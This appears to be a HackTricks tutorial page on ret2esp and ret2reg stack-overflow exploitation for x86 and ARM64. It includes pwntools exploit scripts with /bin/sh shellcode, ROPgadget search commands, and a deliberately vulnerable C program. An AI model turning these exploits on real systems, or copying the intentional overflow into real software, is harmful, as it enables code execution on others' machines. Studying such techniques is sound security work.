# Ret2esp / Ret2reg {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} ## **Ret2esp** **Because the ESP (Stack Pointer) always points to the top of the stack**, this technique involves replacing the EIP (Instruction Pointer) with the address of a **`jmp esp`** or **`call esp`** instruction. By doing this, the shellcode is placed right after the overwritten EIP. When the `ret` instruction executes, ESP points to the next address, precisely where the shellcode is stored. If **Address Space Layout Randomization (ASLR)** is not enabled in Windows or Linux, it's possible to use `jmp esp` or `call esp` instructions found in shared libraries. However, with [**ASLR**](../common-binary-protections-and-bypasses/aslr/) active, one might need to look within the vulnerable program itself for these instructions (and you might need to defeat [**PIE**](../common-binary-protections-and-bypasses/pie/)). Moreover, being able to place the shellcode **after the EIP corruption**, rather than in the middle of the stack, ensures that any `push` or `pop` instructions executed during the function's operation don't interfere with the shellcode. This interference could happen if the shellcode were placed in the middle of the function's stack. ### Lacking space If you are lacking space to write after overwriting RIP (maybe just a few bytes), write an initial **`jmp`** shellcode like: ```armasm sub rsp, 0x30 jmp rsp ``` And write the shellcode early in the stack. ### Example You can find an example of this technique in [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) with a final exploit like: ```python from pwn import * elf = context.binary = ELF('./vuln') p = process() jmp_rsp = next(elf.search(asm('jmp rsp'))) payload = b'A' * 120 payload += p64(jmp_rsp) payload += asm(''' sub rsp, 10; jmp rsp; ''') pause() p.sendlineafter('RSP!\n', payload) p.interactive() ``` You can see another example of this technique in [https://guyinatuxedo.github.io/17-stack\_pivot/xctf16\_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/xctf16\_b0verflow/index.html). There is a buffer overflow without NX enabled, it's used a gadget to r**educe the address of `$esp`** and then a `jmp esp;` to jump to the shellcode: ```python # From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html from pwn import * # Establish the target process target = process('./b0verflow') #gdb.attach(target, gdbscript = 'b *0x080485a0') # The shellcode we will use # I did not write this, it is from: http://shell-storm.org/shellcode/files/shellcode-827.php shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" # Establish our rop gadgets # 0x08048504 : jmp esp jmpEsp = p32(0x08048504) # 0x080484fd : push ebp ; mov ebp, esp ; sub esp, 0x24 ; ret pivot = p32(0x80484fd) # Make the payload payload = "" payload += jmpEsp # Our jmp esp gadget payload += shellcode # Our shellcode payload += "1"*(0x20 - len(shellcode)) # Filler between end of shellcode and saved return address payload += pivot # Our pivot gadget # Send our payload target.sendline(payload) # Drop to an interactive shell target.interactive() ``` ## Ret2reg Similarly, if we know a function returns the address where the shellcode is stored, we can leverage **`call eax`** or **`jmp eax`** instructions (known as **ret2eax** technique), offering another method to execute our shellcode. Just like eax, **any other register** containing an interesting address could be used (**ret2reg**). ### Example You can find some examples here: * [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg) * [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c) * **`strcpy`** will be store in **`eax`** the address of the buffer where the shellcode was stored and **`eax`** isn't being overwritten, so it's possible use a `ret2eax`. ## ARM64 ### Ret2sp In ARM64 there **aren't** instructions allowing to **jump to the SP registry**. It might be possible to find a gadget that **moves sp to a registry and then jumps to that registry**, but in the libc of my kali I couldn't find any gadget like that: {% code overflow="wrap" %} ```bash for i in `seq 1 30`; do ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)"; done ``` {% endcode %} The only ones I discovered would change the value of the registry where sp was copied before jumping to it (so it would become useless):
### Ret2reg If a registry has an interesting address it's possible to jump to it just finding the adequate instruction. You could use something like: {% code overflow="wrap" %} ```bash ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?"; ``` {% endcode %} In ARM64, it's **`x0`** who stores the return value of a function, so it could be that x0 stores the address of a buffer controlled by the user with a shellcode to execute. Example code: ```c // clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack #include #include void do_stuff(int do_arg){ if (do_arg == 1) __asm__("br x0"); return; } char* vulnerable_function() { char buffer[64]; fgets(buffer, sizeof(buffer)*3, stdin); return buffer; } int main(int argc, char **argv) { char* b = vulnerable_function(); do_stuff(2) return 0; } ``` Checking the disassembly of the function it's possible to see that the **address to the buffer** (vulnerable to bof and **controlled by the user**) is **stored in `x0`** before returning from the buffer overflow:
It's also possible to find the gadget **`br x0`** in the **`do_stuff`** function:
We will use that gadget to jump to it because the binary is compile **WITHOUT PIE.** Using a pattern it's possible to see that the **offset of the buffer overflow is 80**, so the exploit would be: ```python from pwn import * p = process('./ret2x0') elf = context.binary = ELF('./ret2x0') stack_offset = 72 shellcode = asm(shellcraft.sh()) br_x0 = p64(0x4006a0) # Addr of: br x0; payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0 p.sendline(payload) p.interactive() ``` {% hint style="warning" %} If instead of `fgets` it was used something like **`read`**, it would have been possible to bypass PIE also by **only overwriting the last 2 bytes of the return address** to return to the `br x0;` instruction without needing to know the complete address.\ With `fgets` it doesn't work because it **adds a null (0x00) byte at the end**. {% endhint %} ## Protections * [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): If the stack isn't executable this won't help as we need to place the shellcode in the stack and jump to execute it. * [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Those can make harder to find a instruction to jump to esp or any other register. ## References * [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode) * [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}